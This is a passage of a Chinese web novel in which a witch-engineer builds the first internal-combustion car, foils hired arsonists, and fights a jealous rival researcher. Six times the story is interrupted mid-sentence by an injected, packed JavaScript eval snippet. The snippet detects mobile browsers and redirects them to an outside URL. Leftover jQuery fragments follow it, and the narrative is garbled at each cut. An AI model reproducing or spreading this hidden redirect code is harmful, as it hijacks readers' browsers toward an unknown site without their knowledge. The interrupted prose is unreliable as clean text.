罗德嘀嘀咕咕,“你说了我可以分狄安娜糖,昨天就把我带这里来了。” 艾莉西亚用眼神示意米亚,“你自己和米亚说啊。” 罗德看看艾莉西亚,又看看米亚,眼睛咕噜一转,张开手,用那种甜腻腻的夹子音说,“米亚阿姨~” 艾莉西亚让唐娜盯着艾莉西亚看书,她回去补个眠。 比尔就是在这个时候登门的。 这个矮壮的家伙直接从马车上跳下来,与他一起来的,还有他的两个工程师,和特蕾娅。 工程师眼睛下面有着大大的黑眼圈,昨天从工坊回去,他们没有回家,而是回到工厂和团队的人一起研究了一晚上内燃机的构造。 他们的水平很在线,回去之后把内燃机的功能构造复刻了一遍,最后得出结论,这样的制造水平远不是他们工厂现在能做到的。 这可让人惊喜了。 蒸汽列车的核心构建就是它的蒸汽锅炉,市面上的锅炉分两种,一种是普通厂家生产的锅炉,那种锅炉体积大(体积小了功率上不去),燃料利用率低,使用的时候一不小心就会发生安全事故; 另一种则是印有“塔布拉斯皇家科学院”专利标签的产品,这一类锅炉体积只是普通厂家的一半,制作工艺十分精良,燃料利用率极高,而且也不容易发生安全事故,它最大的缺点似乎价格高,很多有钱人房子里的供暖设备就会采用这种。 康奈尔教授的团队使用的就是后者的锅炉,可想而知,他们的定价将会达到什么样的高位。 上一个破产制造商的灵魂安息还没几年,他们都在猜,或许康奈尔还会是下一个? 而突然之间,艾莉西亚拿出这样一个设计巧妙、制作水平极高的动力机,这样的马力、这样的体积,是现有的蒸汽汽车完全无法企及的高度。 唯一让人感到困惑的是,内燃机的燃料他们不知道是什么。 比尔守在厂里,他在办公室就没睡好,总做噩梦,还是同一个,他梦到艾莉西亚嫌弃他之前做车体的时候拖拖拉拉,非要把他踢出局,吓得他惊醒好几次。 后半夜得到工程师们推测的结果,比尔立刻就带着人,风风火火赶到特蕾娅家,天还没亮,他就坐在马车里熬着,直到特蕾娅家里传出了动静,他软磨硬泡地,把人弄到工坊。 为了这个机会,比尔决定豁出去了。 行吧,艾莉西亚也不要睡了。 她让两个工程师配合,先把车子地盘组装起来。地盘组装好之后,艾莉西亚把内燃机安装在预留好的、车头的位置,连接好传动轴,装上离合器、转向系装置,变速器就不要想了,接下来是木头制作的车身、双人座位,最后在驾驶座前安装好方向盘。 艾莉西亚隐约记得一开始的转向是用一根手柄控制,非常简陋,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13931476|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很危险,那样的设计在车祸的时候会变成杀人利器,高速刹车时能捅穿人体,所以汽车才造出了那些年,司机的存活率很低。 艾莉西亚思来想去,还是觉得方向盘最靠谱,幸好这个设计不太难。 组装到这个程度,已经是午后了,艾莉西亚腹中饥饿不止,她叫住两个工程师,先去吃饭。 丽塔大婶很热情,今天的主食是牛扒,配上奶油蘑菇糖,还有水果和饭后甜点,她一个劲地说不够可以告诉她,她马上先做。 吃饭的时候,比尔总算抓到机会,他眼巴巴地看着,人看着憔悴,精神头却非常好,一双鼓鼓的大眼睛目不转睛地盯着艾莉西亚,就像盯着一座金山。 艾莉西亚看像特蕾娅,特蕾娅用口型说,“兴奋过头了。” 特蕾娅以为比尔这么早把她拉过来,一定会迫不及待地谈合作。哪知道他们才聊了个开头,比尔就被车间里的组装工作吸引走了,特蕾娅看他也没心情聊,就提议一起去看看。 这一看,比尔就更加走不动了。 艾莉西亚没说什么,吃过饭也没耽误,继续组装。 剩下的工作相比上午就少很多了,把车身一些简单的零部件装完,检查测试过发动机的各个系统是否运转良好,盖上发动机的盖子,最后装上四个轮子,下午四点过,一辆简陋得过分的汽车就算组装好了。 当这样一辆车子放在眼前的时候,艾莉西亚摸摸额头上被汗水打湿的头发,只觉得长久以来、压抑在胸腔的闷气消散了。 她深吸一口气,对特蕾娅伸出手,“来,让我们坐上这世界上的第一辆汽车,开启一个新的时代。” 下午的太阳将整个车间都照得亮堂堂的,特蕾娅明媚的眼睛里含着泪水,她完全不在意艾莉西亚的手上沾着黑乎乎的机油,把自己白皙干净的手握上去,“祝贺我们。” 29. 女巫的职业危机29 艾莉西亚先让特雷娅坐到驾驶座上去,她站到车头前手动点火,这有点类似于拖拉机的点火方式,但比那个轻松。 汽车缓慢启动,车轮向前滚动,艾莉西亚抓住汽车座椅往上一跳,坐上驾驶座,她飞快地栓好简易安全带,小心地控制方向盘。 方向盘是全金属的,厚重踏实,握着很有安全感,除了转向的时候需要她很用力才能掰动外,没什么缺点。 车子的速度由慢到快,达到两匹成年马拉动四人车厢的速度后就保持着这个速度匀速行驶,艾莉西亚控制着方向盘在工坊前的空地上跑着,随心所欲地操控方向盘前后转动,挂上倒挡前后移动。 倒挡的阻力惊人,车盘发出两声很响的“咔咔”声,特蕾娅毫无准备,以为哪里出了故障,紧张的捏着安全带不放。 她动了动嘴唇,想问问艾莉西亚什么情况,扭头一看艾莉西亚嘴角绷直,显然也很紧张,就不敢说话了。 艾莉西亚挂了两次倒挡之后,她不再尝试倒车,而是绕着空地外源一圈一圈地跑,随着时间的流逝,嘴角的笑意渐渐压抑不住。 特蕾娅看艾莉西亚表情松动,她悬着地心渐渐放下,捏紧的安全带的手松开,两只手舒展举高,感受着清风拂过的惬意,她心情愉悦,好像抓到了风。 空气中弥漫着一股怪奇怪的、有点闷的燃料燃烧的味道,但她却一点也不觉得难闻。 这是成功的味道啊! 跑了大概半小时,艾莉西亚把车开回工坊门口,她按照设计的那样,先拉动驾驶台上的手柄,断掉燃料供给,再踩刹车,车子出于惯性滑行一段时间,刚好在比尔面前停下。 比尔搓搓手,眼里简直在冒精光,“这这这,请让我们也试试吧,两位小姐,你们刚刚看起来可太威风啦。” 艾莉西亚看向特蕾娅,特蕾娅难得对比尔产生了不满,但她不会开车,只好不情不愿地下来。 两个工程师等不到比尔坐完再上了,他们觉得车速不太快,就直接挂到车屁股后面。艾莉西亚嘴角抽了一下,但劝了之后人家不领情,她就没管了。 一回生二回熟,艾莉西亚熟练地打火跳上车栓安全带,整个过程她做起来如行云流水,甚至带着一点韵律感。 试驾结束,接下来就变成了特蕾娅的主场。 比起昨天去比尔工厂找他的时候,现在的主导权完全在特蕾娅手里。艾莉西亚早就和特蕾娅商量好了,可以让比尔用他的生产线入股,但要比例要控制在8%以内,她们要留30%左右的股份给真正出钱的投资人,剩下的股份要保证两人的绝对控制权。 时间不早了,特蕾娅说直接回城,比尔非常不愿意,然而他现在完全落于下风,根本没有讨价还价的余地。他倒是想让自己团队的工程师留下来,艾莉西亚就似笑非笑地看着他,他马上就怂了。 试驾之后,艾莉西亚和工程师一起把车子拆了,检查地盘和各个系统的情况,情况比想象中好很多,但倒挡的时候仍然让齿轮出现较为明显的磨损,再来几次,这个部件基本上就可以报废了。 车体的设计不行,制造的工艺也不行啊。 艾莉西亚深深地叹气。 车身设计艾莉西亚根据自己的记忆,参考了蒸汽汽车的构造,做了一定的调整,基本达到了她的预期。但还远远不够,需要改进的地方有很多,但她没那么时间,也没钱了。 能用八个月的时间做到这一步已经相当不容易了,这还是有上辈子的一些常识和明确的研究方向加持,另外还有魔法给她作弊。 要知道,上辈子奥托和他的团队真正做可投入使用的内燃机,前前后后花了十几年时间,后来又经历过很长一段时间的研究,才做出汽车。 艾莉西亚根据今天的试驾体验,把图纸重新调整了一下,最后定下两台新的车体,这是要拿去争取汉斯梅尔夫人要投资的。 要是再有一两个月时间,她把点火系统弄出来就好了,还有变速箱,这可是非常重要的技术。 但不行,汉斯梅尔夫人要求她们三天后就要拿出东西来,那一天,刚好是康奈尔教授的团队展示成果的时间。 这还真是有意思,在小安托瓦那里没有对上,到汉斯梅尔夫人这里还是没逃过。 …… 斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13958598|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图尔特大学,霍布斯鲍姆·康奈尔教授实验室。 一个年轻男人从外面冲进来,他跑得太急,用发油输得整整齐齐的头发都变得很凌乱。 “教授!教授!出大事了。” 研究员索普结束一天的工作,对蒸汽汽车的长期试验终于告一段路,他正在康奈尔的办公室与老师商量如何向汉斯梅尔夫人展现他们的实力,对这个,他非常有信心。 年轻男人冒失的行为让索普很反感,开口就训斥,“伍德,什么事让你看起来像只被吓坏了老鼠一样可怜?” 伍德脸上全是汗,他顾不上喘匀气,结结巴巴地说,“汉斯梅尔夫人找了一个新的投资对象,说要让我们一起展示,看过之后,她才会决定要不要投资我们。” 索普愤怒地从椅子上跳起来,“什么?那个女人竟然敢这么做?这不可能!你从哪里得来的消息?” 伍德,“汉斯梅尔夫人的秘书让人传来的消息。” 索普脸皮涨得通红,他觉得那个女人在羞辱他,但在他再次开口前,康奈尔阻止了索普,“传消息的人呢?” “就在外面。” “请他进来。” 伍德出去了。 索普破口大骂,“那个表子!那个贱人!她竟然敢这么对我们!我一定不会放过她!” 康奈尔说,“好了,索普,冷静点,汉斯梅尔是芙蕾阁下最信任的人,你要怎么不放过她?” “那个女人也是——” “索普!想想你的身份!”康奈尔厉声喝道。 索普心不甘情不愿地把一堆脏话咽了下去,但仍是心有不甘,“如果不是她的哥哥没了,根本轮不到她当继承人!” “但她现在就是继承人!将来还会是这片领地的主人!”康奈尔眼里流露出失望,但想想自己只有一个女儿,这个侄子是家族唯一的男丁,他不得不耐着性子教导,“你是做研究的,索普,我们需要拿实力说话,懂吗?不要轻易被人激怒,那是蠢货才会干的事。” 康奈尔一番敦敦教诲,索普总算把脾气按捺下去。但在康奈尔看不到的时候,索普眼里闪过凶光。 30. 女巫的职业危机30 比尔踏上回程,激荡的心情还没有冷却下来,坐上自己高级丝绒装饰的豪华马车后,他左看看右看看,总觉得这个需要用马匹拉动的车厢让人感觉到压抑和憋闷,完全没有那种坐上汽车的悠然自在,尽管那汽车制作得十分粗糙,还会闻到发动机内部燃料燃烧的怪异味道。 比尔得意洋洋地想,还得是自己眼光独到,如果不是他觉得艾莉西亚的图纸很有意思,接下了这个订单,哪里会有机会参与到这样有前景的项目中。 想到这里,比尔过热的大脑渐渐醒过神,艾莉西亚或是特蕾娅有和他讨论过怎么入局吗? 比尔惊出一身冷汗,到现在为止,他送出去一辆成品车体,还许诺出八辆免费的、用于前期实验和测试的车体,而他得到了什么?参与组装一辆完整的汽车,试驾,以及能投资的承诺。 两个参与进来的工程师明确告诉他,以团队现阶段的能力,他们无法复刻出那种动力机械,也就是说,核心技术在艾丽西亚手里。而他们倒是能制造车体,但这并不是他们的优势,相反,只要艾莉西亚愿意,她可以找到第二家工厂作为替代。 不知不觉,额头上布满冷汗,比尔觉得他需要做一点准备,如果那两个狡猾的女人要撕毁合约,他手里要有反制她们的筹码。 时间在别人的忐忑之中过去,回到卡斯塔尼亚的工厂区,特蕾娅特意叫住比尔,比尔眉头深深地皱着,脸色看起来似乎有点苍白。 她还不知道比尔的脑子经过了怎样的斗争,关心地问了一句,“哦,比尔,你看起来不太好?” 比尔看了一眼特蕾娅,真奇怪,这女人即将三十岁了,但她一点也没有这个年纪女人的操劳和憔悴,相反地,她看起来神采奕奕容光焕发,像那些一点没有为生活操劳过的贵妇人。 “马车坐太久,你知道,回城的那条路路况也不好,”比尔笑容诚挚地敷衍,“我回去缓一缓就好。” 特蕾娅,“没事就好,我还希望我们能尽快推进合作,如果你在这时候生病了,那可就不太妙。” 比尔精神一振,“当然没问题!” 意识到自己的态度似乎有点过于兴奋,克制地清了清喉咙,比尔说,“我的意思是,合作需要我们仔细地商讨,能尽快完成有利于将产品推向市场。” 特蕾娅当然听出了他的兴奋劲,但她当做什么都不知道,配合地点点头,“是的。艾莉西亚对你们生产的车体非常满意,如果商谈顺利,我想我们可以长期合作下去。我们已经申请了内燃机专利,不就后会组建一间切斯特内燃机厂,我直接告诉你吧,比尔,艾莉西亚的内燃机专利是这个厂的核心资产,这意味着她会拥有绝对的控股权,因此,出让的股份不会太多,汉斯梅尔夫人的投资会占据其中的大部分,如果你能接受,我们就可以往下谈了。” 比尔听完特蕾娅的话,没有第一时间做出回复。 他耗费了这么久的时间,不可能不入局。特蕾娅看似坦诚地给出了底线,却又没有把份额说死,这说明其中还有商讨的空间,这就是他能争取的部分。 比尔露出一个志在必得的微笑,嘴里却说,“特蕾娅,你知道这并不是一个很容易做的决定,我需要一点时间考虑。” “没问题。但是我需要提醒你,比尔,机会就像河里的流水,当你在河边时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13968098|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有伸手去取,它就会远离,而这时候你再想去争取的时候,付出的代价以与一开始就不一样了。” 比尔突然怔住。 特蕾娅朝他微微一笑,转身上了自己的马车。她没打算说出要入股生产线的事,得让他自己主动提出来,别人想要的他一定会趁机拿乔,这件事换成特蕾娅她也不会轻易松口,但如果是别人自己提出来的,那就可以任她们还价了。 …… 第二日,艾莉西亚总算得了闲,她让丽塔大婶装上一篮子野餐的食物,带着罗德往后山去。 罗德年纪小,不长记性,昨天累趴下的事完全忘记了,一心想跑到山里撒野。 后山一直小动物出没,罗德看到兔子要撵一撵,看到野鸡要追一追,艾莉西亚也不拘束她,反而鼓励她加油,抓到了他们可以吃烤肉。 期间罗德喊了两次累,艾莉西亚说时间还早,不能那么快消耗食物和水,等到罗德第三次叫唤的时候,找到一棵两人合抱地大叔,把面包和水放在距离地面两米高的地方,告诉罗德想要自己拿。 罗德目瞪口呆地盯着艾莉西亚,眼光如果能伤人,艾莉西亚身上已经全是伤了。 她委屈地看着艾莉西亚,试图用装可怜的方式来获取艾莉西亚的心软。 然而此时的艾莉西亚心硬如铁,“来吧,罗德,我相信你,拿下来你就可以吃,拿不下来,我们就饿着。” 罗德盯着艾莉西亚手里的篮子。 艾莉西亚朝她微笑,“这个也可以,但这个篮子上面有防止异空间入侵的魔纹,如果你能破坏魔纹拿到里面的食水,我们今天的课程就超纲完成了。” 31. 女巫的职业危机 午后,艾莉西亚拎着篮子,扛着罗德,回到工坊。 唐娜跑过来把罗德抱走,不忍不住埋怨说,“艾莉西亚,你到底带着罗德去山里面做什么了?她还这么小,学校也不去,今后要怎么办?” 艾莉西亚安抚她,“一点家族遗传的小问题,要不了多久就能解决了。” 唐娜还想说什么,丽塔大婶悄悄在背后拉了她一下,让她不要说了。唐娜憋着气,抱着罗德回去休息。罗德睡得很熟,跟个小猪一样,换了人抱也没有醒。 丽塔大婶小心地观察着艾莉西亚的脸色,说,“唐娜是个好姑娘,就是藏不住话。” 艾莉西亚笑笑,“丽塔大婶你多看着点。” “当然,当然。” 艾莉西亚回到测试台,再有几天,这轮测试完成,他们就能得到更准确的数据了。可惜汉斯梅尔夫人的定下的时间在两天后,不然,她们会更有把握。 “你脸色不太好,怎么,不顺利?”米亚问艾莉西亚。 艾莉西亚,“不,效果很好。罗德在这方面的天赋很不错,今天她差一点就能打破防入侵的空间魔纹了,而这,仅仅是凭着她的天赋。” “那你怎么不高兴?”米亚觉得奇怪,如果她那两个小崽子当中有一个能有这样的天赋,她做梦都要笑。 艾莉西亚的兴致的确不太高,“哦,我在考虑其他的事。现在卡斯塔尼亚城的局势可能会出现一点问题,那位汉斯梅尔夫人突然说要投资我们,我在想,我们拿到汉斯梅尔夫人的投资后,会得罪谁。” 这触及到米亚的知识盲区了,但她并不觉得这是什么值得烦心的事,“你们女巫是不是都容易想太多?局势再坏,能比极北荒原更坏?” “这是不一样的坏法,”艾莉西亚和她解释,“极北荒原唯一的敌人是生存,为了生存,一切都可以让步。” 米亚嗤笑,“你是不是把我们想得太善良了?知道我为什么从部落里离开的吗?” “你愿意说?” “不愿意!反正没你想得那么简单就是了。”米亚说。 艾莉西亚想了想,“你帮我盯一下,我需要多做一点准备,以防万一。” 米亚一脸“你真麻烦”的表情,不耐烦地朝艾莉西亚挥挥手,但没有反对。 艾莉西亚拿着魔杖和一袋子魔法结晶绕着工坊外走了一圈,花了半个小时加固了原有的魔法防御阵,这才放下心。 而她的担心没有错,午夜时分,除了制造车间,所有房间的灯都熄了,一切都陷入静悄悄的宁静之中。 艾莉西亚一心二用,她一边琢磨如何在车子上增加一个点火装置,一边注意着内燃机测试的情况。 今晚米亚已经回去了,她已经有几天没有回家,这段时间切斯特家兵荒马乱,她请了保姆在家照顾孩子,总要回去看看。 就在艾丽西亚画图纸的时候,她听到了防御魔法阵外传来的窸窣声。那声音很轻,很容易就会被忽略过去,艾莉西亚听到声音后,警觉地看了一眼正在运行的内燃机,拿起她的漆黑扳手,摸出遮蔽身形的斗篷,悄无声息地地翻窗离开,来到发出声音的地方。 那是两个穿着深色衣服的男人,不知道是不是刻意的,两个人躲在防御阵范围外的缓坡后,其中一个正拿着黄铜外壳的单筒望远镜盯梢,另一个在摆弄着什么。 拿望远镜的人催促说:“好了没有?” “催什么催?你算好距离了吗?” “我们需要再近一点。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13984170|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空气安静下来,另一人不说话,一心忙活。 拿望远镜的人又说,“究竟是谁这么狠,竟然要那整个工坊、连带里面所有人都弄死啊,那里面可还有个小崽子。” 另一个说,“那谁知道?大人物的事情你管那么多,我只知道完成委托拿到钱就行。” “狗屁大人物!大人物需要找我们做事?赫伯特是个什么东西你又不是不知道,那家伙肯定吃了一大笔钱,不过,他吞掉那么多钱,还能拿这种好货给我们,可见真是个有钱人。你到底好没有?万一那个女巨人突然回来怎么办?” “你懂什么?这是‘那些家伙’提供的特殊物品,必须小心了,这玩意儿就像是恶魔的玩具,一旦燃烧起来,就根本灭不了火。赫伯特在给我们的时候,上面加装了好几道保险,我必须要小心地避开这些,才能起作用。” “说起来赫伯特除了抠门,还挺靠谱的,在哪里能找到他?” 一道低沉的、分不清男女的声音突然插进来,拿望远镜的人顿了一下,心里疑惑同伴声音怎么突然变了?太专注了? 他的嘴巴比脑子转地快,没怎么考虑就说,“你脑子糊涂了?当然是在野犬酒吧啊——不对,谁在说话?” 说到一半,拿望远镜的男人才惊觉不对,震惊地四处查看,却只看到一只飘在空气中的胳膊拿着一把漆黑的扳手,朝着他的脑门袭来。 下一秒,他的世界就陷入了黑暗。 艾莉西亚如法炮制,解决了两个不速之客,把他们绑得结结实实,塞住嘴巴,最后丢到装矿石的仓库。现在她走不开,只能等明天把人送去巡夜者小队了,否则,她现在就直接杀到野犬酒吧,把赫伯特、还有下这个委托的人全一锅端了。 32. 女巫的职业危机32 艾莉西亚熬了一整夜,米亚一回来她就去补眠,睡醒后去仓库把两个放火的家伙审了一遍。 这两个人对超凡者隐隐有些了解,尽管不多,但他们不是第一次使用这些炼金产品,自然知道这些神奇的道具。 赫伯特不是野犬酒吧的老板,不过那里是赫伯特的据点之一,根据这两个人的表述,赫伯特是个很精明的家伙,他们接下委托的时候只拿了定金,而到现在他们都没有回去找赫伯特拿尾款,赫伯特胆子比兔子还小,现在肯定藏起来了。 两人在艾丽西亚的威胁下交代之后,吓得瑟瑟发抖,他们很怕艾莉西亚不满意他们的回答,直接就把他们给废了。特别是那个高个子的女巨人,一看就知道是武力过于发达的类型。 更何况,何况昨天晚上他们怎么被弄晕的,到现在都弄不明白。这一点尤其让他们敬畏。 艾莉西亚见问不出更多的消息,又把人塞回仓库。 然后艾莉西亚让米亚把人送去巡夜者小队,连带着他们带来的炼金术产品一并交出去了。上次巴尔纳不是要买手/弩的名单么?这会她直接送了一个真正做非法炼金术物品交易的中间商,慢慢查去吧。 至于幕后主使,这一点也不难猜。 能动用这种手段的,一定要很有钱,但是和超凡者没什么关系。 这就排除了埃诺里和司佩。 谈到有钱又和艾莉西亚又过节的,近期来说有两个。 一个是父亲皮尔朋友的老婆,路易莎,艾莉西亚逼着皮尔清算艾达尔的财产,路易莎恨上艾莉西亚很正常。不过如果这事真是路易莎做的,那艾达尔贷款的事就一定是专门为皮尔设下的陷阱了……艾莉西亚请米亚把这个消息告诉贝斯,可以让侦探从路易莎那里下手。 另外一个是刚得罪的,康奈尔教授。 但康奈尔教授是个老好人,艾莉西亚以前还得到过他的帮助,在艾丽西亚的印象中,这是一位有威望有胸襟的老人。 不论是谁,艾莉西亚现在都顾不上。她让米亚把人送去巡夜者小队,就打算借巴尔纳的来镇住背后想搞事的宵小。等她腾出手来之后,她再来慢慢料理这些事。 晚一点的时候,比尔让人送来一台新的车体,一起来的还有三个工程师。 看起来特蕾娅那里的进展算得上顺利,就是不知道比尔打算怎么和特蕾娅博弈了。 在三位工程师的帮助下,艾莉西亚花了比第一次更少的时间,就把一台崭新的汽车组装完成。 其中一个叫奥古斯塔的工程师全程都没怎么说话,直到艾莉西亚拎着一桶淡黄色的液体燃料灌装进油箱后,才故作不经意地问,“艾莉西亚,这是什么新型燃料吗?” 艾莉西亚说,“算不上很新型,一位朋友工厂产出的样品,给我试用。” 知道艾莉西亚不想多谈,奥古斯塔也识相地不再多问。 这台车的经过改良,尽管仍然没有点火系统,但驾驶体验比第一台好多了,第一台的排气管艾莉西亚设计得不合理,比尔的工厂尽管都按着图纸生产的,但排气管接不上,只好让它直接在车头一侧开了孔排气,这导致驾驶座被废气环绕;这一台的排管改到了车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13996968|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾,总算不至于那么尴尬了。 组装完成完成时天已经黑透了,简单跑了一圈之后,艾莉西亚就把车子开进库房里面锁好。提前一天完成,明天有足够的时间检查,确保能做到万无一失。 …… 到了汉斯梅尔夫人莅临斯图尔特大学这天,天气晴朗,温度十分舒爽。 艾莉西亚的汽车被六匹马拖着进了卡斯塔尼亚城,这一路引起无数人关注。 矫健挺拔的马匹后面,拖着一辆长约两米半、宽约四五米、有着四个厚实橡胶轮胎的车体,整个车身罩着一层黑布,可以看出车体和普通的车厢不同,它有着宽大的车头、两人座位、以及宽大的车尾。 有人说这是一台新的蒸汽汽车,另有人驳斥蒸汽汽车的锅炉在哪里呢?那个车头虽然宽大,可明显装不下锅炉。 人们议论纷纷,都跑到街上看稀奇,不多时,汽车经过的地方车道两边就聚集了不少人,大家交头接耳、指指点点,很快人气就起来了。 艾莉西亚和特蕾娅坐在后面的马车里,看到街道上热闹的场景,说,“尊敬的特蕾娅小姐,您真是一位集温柔高贵与智慧头脑于一身的杰出女士,这样一来,不用我们花钱找报纸宣传和打广告,他们自己就会追着我们的新车跑了。” 特蕾娅笑得得以,“那当然,你就动动嘴,最后还得让我去执行,不过要说机灵还是得是街头卖报纸的小鬼们,没有他们,我可没办法把消息传得这条路上的人都知道。” 就这样一路热闹着来到斯图尔特大学,索普听到了消息,气得脸都绿了。 33. 女巫的职业危机33 艾莉西亚和特蕾娅轻车熟路地来到康奈尔教授的实验楼外,作为斯图尔特大学的著名教授,康奈尔有一座四层楼的实验室,实验室外还有一片十分开阔的草地。 这栋实验楼用上了如今最先进的蒸汽技术,它每层楼都有一个锅炉为机床提供动力,并且还安装有自动升降梯。 在艾莉西亚眼里,这可不是一栋简单的楼,它是一栋金山啊。 特蕾娅指挥工人把汽车卸下来,艾莉西亚检查了一下四个轮胎,这一路过来并没有造成磨损,就没有换上备用胎。 就在艾丽西亚做最后的准备时,特蕾娅突然猛拍艾莉西亚的胳膊,艾莉西亚抬头一看,只见一辆宽约三米、高约两米的金属车头吐着浓浓白白烟,以极快的速度冲了过来。 艾莉西亚立刻推开特蕾娅。 从实验楼的车库到艾莉西亚所在的位置不过十几米的距离,那辆蒸汽汽车眨眼而至,眼看着就要碾压艾莉西亚的车子,艾莉西亚一个快步挡道车头前。 蒸汽汽车里面的人骂了句什么,疯了一样拽着转向杆往旁边拐,车缘擦着艾莉西亚的衣服掠过,带起的劲风吹起她的头发和裙子。 从特蕾娅的角度看来,艾莉西亚几乎要被那辆铁疙瘩压扁,她吓得惊慌地尖叫起来。 特蕾娅的声音引来了一个意想不到的人,来人看到艾莉西亚挡在那辆小一点的车子前面,心脏几乎要听停跳。 下一刻,蒸汽汽车拐到一边,露出艾莉西亚修长的身影,她压下翻飞的裙摆,把头发被拢到一起,怒气冲冲地跑向蒸汽汽车的驾驶座。 小安托瓦不知不觉地走向艾莉西亚带来的车,特蕾娅心有余悸地抚着胸口,看到他,惊讶地问,“小安托瓦先生,您怎么来了?” 艾莉西亚冲到蒸汽汽车的驾驶座旁,门从里面打开,索普一脸气急败坏地跳下来,“你个疯女人!你这个疯子!你不怕死啊!要不是——” “啪!”艾莉西亚一耳光扇过去,接着薅着索普的头发,把人压到蒸汽汽车的前盖上。 “车开得很爽是不是?现在是不是更爽?啊?” 艾莉西亚说一句话就把索普的脑袋往车盖上磕一下,车盖连着锅炉的传动系统,现在没有熄火,整个车盖温度持续升高,索普的脸就那么贴上去,烫得他龇牙咧嘴,他完全没心思反驳艾莉西亚的话,只一个劲地想挣脱。 艾莉西亚一脚踹到索普肚子上,索普整个人蜷了起来,捂着肚子滑到地上。 “你!你!——”索普指着艾莉西亚,痛得说不出,却仍用怨恨的眼神盯着艾莉西亚,他真后悔刚刚没有碾死她。 艾莉西亚双手包臂,斜靠在车前盖上,却因为上面的高温烫得一缩,赶紧远离那个地方,这才注意到索普有半张脸红肿得不正常。 看着猪头一样的索普,艾莉西亚心里那股气散去一半,她嘲笑说,“以前你抢别人的研究成果,有你叔叔在,人家不敢拿你怎么样,你还以为所有人都是康奈尔的学生是吧?连比拼的勇气都没有,还想毁了我的车,你做梦去吧!” 被艾莉西亚以胜利者的姿态俯视自己的失败,索普只觉得怒火攻心。最痛的那一阵过去,索普面色狰狞,踉跄着从地上爬起来,挥起拳头就要朝艾莉西亚打过来。 艾莉西亚还没来得及再补一脚,匆匆赶来的康奈尔教授已经带着人来阻止了,“索普,给我回去!” 刚刚有人看到索普把车开向艾莉西亚的时候,就有人去楼上叫康奈尔教授了。 这位老教授看着索普被带走,对上艾莉西亚,却没有表现出敌意。他眼里流露出深深的疲惫感,“抱歉,艾莉西亚,他伤到你没有?” 艾莉西亚勾唇,眼里却没有笑意,“他还伤不到我。我还要去看看我的车,待会儿见吧,教授。” 康奈尔教授无奈地看着艾莉西亚的背影,重重叹气。 特蕾娅和小安托瓦看完了全程,小安托瓦皱着眉,说,“不应该那么冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14007184|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,这毕竟在康奈尔教授的地方。” 艾莉西亚根本不理他的话,自顾自说,“小安托瓦先生是今天也是来考察的吗?怎么,摇投资了吗?这你可就找对地方了,特蕾娅,来,给小安托瓦先生介绍一下我们募集资金的计划。” 